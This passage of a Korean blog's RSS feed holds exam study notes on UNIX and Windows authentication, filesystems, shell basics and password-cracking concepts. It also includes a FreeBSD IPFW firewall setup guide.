      <description>&lt;p&gt;1. 파일시스템 개요&lt;/p&gt;&lt;p&gt;물리적인 저장장치에 파일을 생성, 저장, 관리하기 위한 논리적인 자료구조&lt;/p&gt;&lt;p&gt;물리적인 디스크는 논리적인 파티션(Partition)으로 나누어지며, 각 파티션별로 고유한 파일시스템을 생성성&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. 파일시스템 구성&lt;/p&gt;&lt;p&gt;부트 블럭(Boot block): 운영체제를 부팅하거나 초기화하기 위한 부트스트랩(Bootstrap) 코드를 담고 있는 블럭&lt;/p&gt;&lt;p&gt;슈퍼 블럭(Super block): 해당 파일시스템을 관리하기 위한 정보를 담고 있는 블럭&lt;/p&gt;&lt;p&gt;아이노드 리스트(i-node list): 각 파일이나 디렉터리에 대한 모든 정보를 담고 있는 블럭&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;i-node number: 파일시스템 내에서 해당 파일을 식별하기 위한 고유한 식별자&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;last Modification Time: 파일의 내용을 마지막으로 수정한 시간&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;last Access Time: 파일을 마지막으로 접근한 시간&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;last Change Time: 파일의 속성을 마지막으로 변경한 시간(파일의 속성은 i-node 정보를 의미, 즉 소유자, 접근권한 등의 속성이 변경되면 해당 값이 변경됨)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;Block index: Data blocks에 저장되어 있는 파일 내용에 대한 색인 정보&lt;/p&gt;&lt;p&gt;Data blocks: 실제 파일의 내용(데이터)이 저장되는 블럭, 고정크기 블럭들로 구성&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;특정 파일의 i-node에 대한 속성 정보 확인&lt;/p&gt;&lt;p&gt;$ stat file_name&lt;/p&gt;</description>
      <category>Tip/정보보안기사</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/304</guid>
      <comments>https://do9dark.tistory.com/304#entry304comment</comments>
      <pubDate>Wed, 17 May 2017 00:15:54 +0900</pubDate>
    </item>
    <item>
      <title>[시스템 보안] UNIX/Linux 기본</title>
      <link>https://do9dark.tistory.com/303</link>
      <description>&lt;p&gt;1. 입출력 재지정(I/O Redirection)&lt;/p&gt;&lt;p&gt;키보드(표준 입력)에서의 입력을 대신하여 파일의 내용으로 대체하여 입력하는 것을 입력 재지정(Input Redirection)이라 함&lt;/p&gt;&lt;p&gt;명령의 실행 결과나 에러 상황을 화면(표준 출력, 표준 에러)에 출력하지 않고 파일로 저장하거나 다른 곳으로 대체하여 출력하는 것을 출력 재지정(Output Redirection)이라 함&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;입력 재지정&lt;/p&gt;&lt;p&gt;$ command [0]&amp;lt; file_name&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;출력 재지정&lt;/p&gt;&lt;p&gt;$ command [1 or 2]&amp;gt; file_name&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&amp;gt;: 파일이 존재할 경우 덮어쓰기&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&amp;gt;&amp;gt;: 파일이 존재할 경우 이어쓰기&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. 파이프(Pipe)&lt;/p&gt;&lt;p&gt;둘 이상의 명령을 묶어 출력의 결과를 다른 프로그램의 입력으로 전환하는 기능&lt;/p&gt;&lt;p&gt;명령어와 명령어 연결은 | 기호를 사용하며, 선행 명령의 출력 데이터가 후행 명령의 입력 데이터로 전달&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;$ command1 | command2&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;command1의 결과를 command2의 입력으로 전달&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. 특수 문자(Metacharacter)&lt;/p&gt;&lt;p&gt;셸 명령에서 일부 문자들은 사전에 정의한 특수한 기능이 있음&lt;/p&gt;&lt;p&gt;~: 홈 디렉터리&lt;/p&gt;&lt;p&gt;.: 현재 디렉터리&lt;/p&gt;&lt;p&gt;..: 상위 디렉터리&lt;/p&gt;&lt;p&gt;#: 주석&lt;/p&gt;&lt;p&gt;$: 셸 변수&lt;/p&gt;&lt;p&gt;&amp;amp;: 백그라운드(Backgroud) 작업&lt;/p&gt;&lt;p&gt;*: 문자열 와일드카드(Wildcard)&lt;/p&gt;&lt;p&gt;?: 한 문자 와일드카드(Wildcard)&lt;/p&gt;&lt;p&gt;;: 셸 명령 구분자&lt;/p&gt;&lt;p&gt;|: 파이프&lt;/p&gt;&lt;p&gt;&amp;lt;: 입력 재지정&lt;/p&gt;&lt;p&gt;&amp;gt;: 출력 재지정&lt;/p&gt;</description>
      <category>Tip/정보보안기사</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/303</guid>
      <comments>https://do9dark.tistory.com/303#entry303comment</comments>
      <pubDate>Tue, 16 May 2017 23:56:26 +0900</pubDate>
    </item>
    <item>
      <title>[시스템 보안] UNIX/Linux 인증</title>
      <link>https://do9dark.tistory.com/302</link>
      <description>&lt;p&gt;1. 로그인&lt;/p&gt;&lt;p&gt;사용자 계정과 패스워드를 입력하면 로그인을 담당하는 프로그램은 입력한 패스워드와 /etc/passwd 파일의 해당 필드를 비교&lt;/p&gt;&lt;p&gt;(유닉스는 모든 과정이 별개의 프로그램으로 실행됨)&lt;/p&gt;&lt;p&gt;패스워드 확인 후 로그인 프로그램은 Shell이 사용할 변수들을 근거로 초기 환경을 설정&lt;/p&gt;&lt;p&gt;HOME, SHELL, USER, LOGNAME 변수들은 /etc/passwd 파일에 기록된 정보로 설정&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;HOME 변수: 사용자의 홈 디렉터리 지정&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;SHELL 변수: 로그인 Shell 지정&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;USER 또는 LOGNAME 변수: 사용자의 사용자 계정(로그인 이름)을 지정&lt;/p&gt;&lt;p&gt;모든 절차가 끝나면 로그인 Shell 실행&lt;/p&gt;&lt;p&gt;로그인 Shell(/bin/sh, /bin/csh, /bin/ksh 등)은 일반적으로 /etc/passwd 파일의 마지막 필드에 정의되어 있음&lt;/p&gt;&lt;p&gt;Shell은 사용자가 입력한 명령어를 해석하고 처리하는 기능을 함&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. 로그아웃&lt;/p&gt;&lt;p&gt;유닉스 시스템에서 로그아웃할 때 사용하는 명령어로는 logout과 exit가 있으며 키보드의 [Ctrl+d] 조합키를 사용해도 됨&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. 사용자 정보&lt;/p&gt;&lt;p&gt;/etc/passwd 파일&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;유닉스는 시스템 관리자가 사용자 계정을 만들 때마다 해당 사용자와 관련된 정보를 /etc/passwd 파일에 저장&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;passwd 파일에는 유닉스 시스템을 이용하는데 필요한 기본 정보들이 담겨져 있음&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;각 라인은 개별 사용자에 대한 정보로 이루어져 있으며, 구분자 [:]를 이용하여 7개의 필드로 구분&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;[user_account]:[user_password]:[user_ID]:[group_ID]:[comment]:[home_directory]:[login_shell]&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;root:x:0:0:root:/root:/bin/bash&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;root: 사용자 계정명&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;x: 사용자 패스워드(x는 shadow 패스워드를 사용한다는 의미)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;0: 사용자 ID(UID)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;0: 기본 그룹 ID(GID)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;root: 사용자 관련 정보&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;/root: 로그인에 성공한 후에 사용자가 위치할 홈 디렉터리&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;/bin/bash: 로그인 Shell&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;(계정명이 root가 아니더라도 UID, GID 값을 0으로 변경하여 root 권한 획득이 가능, 로그인 Shell을 변경하여 악성 Shell이 실행되게 하는 경우도 있기 때문에 주기적으로 변경여부 확인이 필요함)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;4. 사용자 확인&lt;/p&gt;&lt;p&gt;id 명령어를 사용, 명령어 실행 시 사용자의 UID, GID를 출력&lt;/p&gt;&lt;p&gt;$ id [user_account]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;5. 패스워드 변경&lt;/p&gt;&lt;p&gt;일반 사용자는 자신의 패스워드만 변경할 수 있으며 root는 자신을 포함하여 시스템에 등록된 모든 사용자들의 패스워드 변경이 가능&lt;/p&gt;&lt;p&gt;$ passwd [user_account]&lt;/p&gt;&lt;p&gt;(user_account 정보가 없을 경우 명령을 실행한 사용자의 패스워드 변경이 가능)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;6. 그룹 정보&lt;/p&gt;&lt;p&gt;유닉스 시스템은 자원에 대한 접근 권한 및 보안 등의 관리를 위하여 사용자와 사용자가 소속된 그룹에 대한 식별이 필요&lt;/p&gt;&lt;p&gt;(UID, GID는 사용자와 그룹을 식별하는 식별자로 시스템에 유일한 정수 값으로 기술)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;기본 그룹과 보조 그룹&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;유닉스 시스템은 자원의 소유주가 소속된 그룹에 별도의 접근권한을 지정할 수 있으며 같은 그룹에 소속된 사용자는 자원에 대하여 동일한 접근권한을 가짐&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;사용자 계정은 하나의 기본 그룹(Primary Group)과 복수의 보조 그룹(Secondary Group)에 소속될 수 있음&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;기본 그룹은 사용자가 자원(파일 등) 생성 시 해당 자원의 소유 그룹을 지정하는데 사용되며 /etc/passwd 파일의&amp;nbsp;4번째 필드에 명시&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;/etc/group 파일&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;시스템에 정의되어 있는 모든 그룹의 정보를 저장&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;/etc/passwd 파일에 담긴 기본 그룹(GID)의 정보는 /etc/group 파일에 정의되어 있음&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;[group_name]:[unvariable]:[group_ID]:[user_account_entry_in_group]&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;bin:x:1:root, bin, daemon&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;bin: 그룹명&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;x: 그룹의 암호화된 패스워드(사용 안 함)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;1: 기본 그룹 ID(GID)로 그룹명을 대신하는 정수형 숫자&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;root, bin, daemon: 소속된 사용자의 계정들&lt;/p&gt;</description>
      <category>Tip/정보보안기사</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/302</guid>
      <comments>https://do9dark.tistory.com/302#entry302comment</comments>
      <pubDate>Tue, 16 May 2017 01:09:33 +0900</pubDate>
    </item>
    <item>
      <title>[시스템 보안] Windows 인증</title>
      <link>https://do9dark.tistory.com/301</link>
      <description>&lt;p&gt;1. 윈도우 인증 구성요소&lt;/p&gt;&lt;p&gt;LSA(Local Security Authority)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;모든 계정의 로그인에 대한 검증 및 시스템 자원(파일 등)에 대한 접근 권한 검사(로컬 및 원격 로그인 포함)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;계정명과 SID(Security ID)를 매칭하여 SRM이 생성한 감사 로그를 기록&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;NT 보안의 중심 서비스, 보안 서브시스템(Security Subsystem)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SAM(Security Account Manager)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;사용자/그룹 계정 정보에 대한 데이터베이스 관리&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;사용자 로그인 정보와 SAM 파일에 저장된 사용자 패스워드 정보를 비교해 인증 여부 결정&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;SAM 파일은 사용자, 그룹 계정 및 암호화된 패스워드 정보를 저장하고 있는 데이터베이스&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;SAM 파일은 윈도우 설치 디렉터리(C:\Winnt 또는 C:\Windows)에 위치&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SRM(Security Reference Monitor)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;인증된 사용자에게 SID(Security ID)를 부여&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;SID를 기반으로 하여 파일이나 디렉터리에 대한 접근 허용 여부를 결정하고 이에 대한 감사 메시지를 생성&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. 로컬 인증&lt;/p&gt;&lt;p&gt;윈도우 부팅 후 로그인 창(Winlogon)에서 아이디와 패스워드(인증 정보)를 입력&lt;/p&gt;&lt;p&gt;LSA 서브시스템이 인증 정보를 받아 NTML 모듈로 넘기고 SAM이 받아 로그인 처리&lt;/p&gt;&lt;p&gt;로그인 성공 시 접근 토큰을 부여하여 프로세스&amp;nbsp;실행&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. 원격(도메인) 인증&lt;/p&gt;&lt;p&gt;윈도우 부팅 후 로그인 창(Winlogon)에서 아이디와 패스워드(인증 정보)를 입력&lt;/p&gt;&lt;p&gt;LSA 서브시스템이 인증 정보를 받아 로컬인지 도메인인지 확인하여 커버로스(Kerberos) 프로토콜을 이용해 도메인 컨트롤러(DC)에 인증 요청&lt;/p&gt;&lt;p&gt;도메인 컨트롤러(DC)는 인증 정보를 확인하여 접속하고자 하는 사용자에게 접근 토큰을 부여하고 해당 권한으로 프로세스 실행&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;4. SAM 파일 접근 통제 설정(시스템 취약점 분석 · 평가 항목)&lt;/p&gt;&lt;p&gt;SAM 파일은 사용자와 그룹 계정의 패스워드를 관리하고 LSA를 통한 인증을 제공하는 중요한 파일이므로 적절한 접근 통제가 필요&lt;/p&gt;&lt;p&gt;공격자로부터 SAM 파일에 대한 패스워드 공격 시도에 따른 정보 노출의 위험이 있음&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;보안설정&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;SAM 파일 &amp;gt; 속성 &amp;gt; 보안 &amp;gt; 그룹 또는 사용자 이름 &amp;gt; Administrators 및 System 그룹 외에는 SAM 파일에 대한 접근을 제한&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;불필요한 그룹 및 계정에 대해서 권한 제거&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;5. 윈도우 보안 식별자(SID, Security Identifier)&lt;/p&gt;&lt;p&gt;윈도우의 각 사용자나 그룹에 부여되는 고유한 식별번호&lt;/p&gt;&lt;p&gt;사용자가 로그인을 수행하면 접근 토큰이 생성되며, 해당 토큰에는 로그인한 사용자와 그 사용자가 속한 모든 작업 그룹들에 관한 보안 식별자(SID) 정보가 있음&lt;/p&gt;&lt;p&gt;접근 토큰의 사본은 그 사용자에 의해 시작된 모든 프로세스에게 할당됨&lt;/p&gt;&lt;p&gt;사용자 계정 및 패스워드 정보를 담고 있는 SAM 파일(C:\Windows\System32\config\SAM)에 SID 정보가 저장되어 있음&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SID 구조&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;Administrator: S-1-5-21-1989092521-4019890826-0807311030-500&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;Guest: S-1-5-21-1989092521-4019890826-0807311030-501&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;일반 사용자: S-1-5-21-1989092521-4019890826-0807311030-1001&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;S-1: 윈도우 시스템을 의미&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;5-21: 시스템이&amp;nbsp;도메인 컨트롤러이거나 단독 시스템(Stand-alone)임을 의미&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;1989092521-4019890826-0807311030: 해당 시스템만의 고유한 식별자, 동일한 컴퓨터에 다시 윈도우를 설치해도 동일한 값을 가지지 않음&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;500, 501, 1001: 사용자 식별자(ID)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;500: 관리자 식별자&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;501: 게스트 식별자&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;1000 이상: 일반 사용자 식별자&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;윈도우 관리명령 콘솔(WMIC, Windows Management Instruction Console)을 통해 확인 가능&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;실행 &amp;gt; wmic &amp;gt; useraccount list brief&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;6. 윈도우 인증 구조&lt;/p&gt;&lt;p&gt;Challenge/Response 방식의 인증 구조&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;A. 인증 요청: 인증하고자 하는 사용자가 윈도우 시스템에 인증 요청&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;B. Challenge 값 생성 및 전송: 인증 요청을 받은 서버는 특정 규칙 또는 랜덤한 Challenge 값을 생성하여 사용자에게 전달&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;C. Response 값 생성 및 전송: 사용자는 전달받은 Challenge 값과 사용자 패스워드 정보를 이용해 Response 값을 생성하여 서버에 전달&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;D. Response 값 확인 및 인증 성공: 사용자가 전달한 Response 값을 확인하여 인증 성공 여부를 전달&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;인증 암호 알고리즘&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;LM(Lan Manager) Hash: Windows 2000, XP의 기본 알고리즘으로 구조적으로 취약(Vista 이후 버전부터는 LM을 기본적으로 사용 불가)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;NTML Hash: LM Hash에 MD5 Hash가 추가된 형태&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;NTMLv2 Hash: Windows Vista 이후 윈도우 시스템의 기본 인증 프로토콜, 기존 인증 알고리즘과는 전혀 다른 알고리즘으로 해시값을 생성&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Lan Manager 인증 수준(시스템 취약점 분석&amp;nbsp;· 평가 항목)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;네트워크를 통한 파일 및 프린터 공유 등과 같은 작업 시 인증을 담당하는 서비스&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;Lan Manager 인증 수준 설정을 통해 네트워크 로그온에 사용할 Challenge/Response 인증 프로토콜을 결정하면, 이 설정은 클라이언트가 사용하는 인증 프로토콜 수준, 협상된 세션 보안 수준 및 서버가 사용하는 인증 수준에 영향을 주기 때문에 보다 안전한 인증을 위해 NTLMv2 사용을 권장함&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;7. 패스워드 크래킹&lt;/p&gt;&lt;p&gt;사전 공격/사전 대입 공격(Dictionary Attack)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;패스워드로 자주 사용되는 사전에 있는 단어, 키보드 자판의 일련순, 주민등록번호, 이름 등을 미리 사전(Dictionary) 파일로 만든 후 이를 하나씩 대입하여 패스워드 일치 여부를 확인하는 크래킹 방법&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;무차별 공격/무작위 대입 공격(Brute Force Attack)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;패스워드에 사용될 수 있는 문자열의 범위를 정하고, 그 범위 내에서 생성 가능한 모든 패스워드를 생성하여 이를 하나씩 대입, 패스워드 일치 여부를 확인하는 크래킹 방법&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;레인보우 테이블(Rainbow Table)을 이용한 공격&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;레인보우 테이블은 하나의 패스워드에서 시작해 특정한 변이 함수를 이용해 여러 변이된 형태의 패스워드를 생성한 후 각 변이된 패스워드의 해시를 고리처렴 연결하여 일정 수의 패스워드와 해시로 이루어진 체인(Chain)을 무수히 만들어 놓은 테이블&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;해시 테이블과 R(Reduction) 함수의 반복 수행을 통해 일치하는 해시값을 통해서 패스워드를 찾아내는 크래킹 방법&lt;/p&gt;</description>
      <category>Tip/정보보안기사</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/301</guid>
      <comments>https://do9dark.tistory.com/301#entry301comment</comments>
      <pubDate>Tue, 16 May 2017 00:38:45 +0900</pubDate>
    </item>
    <item>
      <title>정보보안기사</title>
      <link>https://do9dark.tistory.com/285</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 733px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2214614558CE9C5E01&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2214614558CE9C5E01&quot; width=&quot;733&quot; height=&quot;255&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; margin-left: 4em;&quot;&gt;실기시험(15문항): 단답형 30점(10문항)&amp;nbsp;/ 서술형 42점(3문항) / 실무형 28점(3문항 중 2문항 선택)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://kisq.or.kr/&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://kisq.or.kr/&lt;/a&gt;&lt;/p&gt;</description>
      <category>Tip/정보보안기사</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/285</guid>
      <comments>https://do9dark.tistory.com/285#entry285comment</comments>
      <pubDate>Mon, 15 May 2017 23:31:25 +0900</pubDate>
    </item>
    <item>
      <title>IPFW stateful firewall</title>
      <link>https://do9dark.tistory.com/294</link>
      <description>&lt;p&gt;FreeBSD에서 IPFW를 이용하여 방화벽 설정이 가능 (IPFW를 사용하기 위해서는 커널 빌드가 필요하지만 라즈베리용 FreeBSD에서는 이미 적용되어 있음)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;시스템이 부팅될 때 자동으로 IPFW를 시작되도록 /etc/rc.conf 파일에 내용 추가 (로깅, 설정파일도 지정)&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; vi /etc/rc.conf&lt;/p&gt;&lt;p&gt;firewall_enable=&quot;YES&quot;&lt;/p&gt;&lt;p&gt;firewall_logging=&quot;YES&quot;&lt;/p&gt;&lt;p&gt;firewall_type=&quot;/etc/firewall.conf&quot;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;기타 세부 설정&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;vi /etc/sysctl.conf&lt;/p&gt;&lt;p&gt;net.inet.ip.fw.verbose=1&lt;/p&gt;&lt;p&gt;net.inet.ip.fw.verbose_limit=5&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;방화벽 설정(우선 순위가 높은 규칙이 우선적으로 적용되기 때문에 목적에 따라&amp;nbsp;순위를 지정)&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;vi /etc/firewall.conf&lt;/p&gt;&lt;p&gt;###&lt;/p&gt;&lt;p&gt;# ICMP 거부&lt;/p&gt;&lt;p&gt;add 03000 deny icmp from any to any&lt;/p&gt;&lt;p&gt;add 04000 allow all from any to any&lt;/p&gt;&lt;p&gt;###&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;###&lt;/p&gt;&lt;p&gt;# 특정 IP의 HTTP, HTTPS 접속만 허용&lt;/p&gt;&lt;p&gt;add 03100 allow ip&amp;nbsp;from 192.168.0.1&amp;nbsp;to any 80 keep-state&lt;/p&gt;&lt;p&gt;add 03200 allow ip&amp;nbsp;from 192.168.0.1&amp;nbsp;to any 443&amp;nbsp;keep-state&lt;/p&gt;&lt;p&gt;# 특정 IP를 제외한 모든 접속을 거부&lt;/p&gt;&lt;p&gt;add 04000&amp;nbsp;deny all&amp;nbsp;from any to any&lt;/p&gt;&lt;p&gt;###&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;###&lt;/p&gt;&lt;p&gt;# 특정 IP의 SSH&amp;nbsp;접속만 거부&lt;/p&gt;&lt;p&gt;add 03100 deny ip from 192.168.0.1&amp;nbsp;to any 22&lt;/p&gt;&lt;p&gt;# 특정 IP를 제외한 모든 접속을 허용&lt;/p&gt;&lt;p&gt;add 04000 allow all from any to any&lt;/p&gt;&lt;p&gt;###&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;서비스 실행&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;service ipfw start&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;서비스 확인&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;ipfw show&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;ipfw list&lt;/p&gt;</description>
      <category>Operating System/FreeBSD</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/294</guid>
      <comments>https://do9dark.tistory.com/294#entry294comment</comments>
      <pubDate>Wed, 26 Apr 2017 21:13:34 +0900</pubDate>
    </item>
    <item>
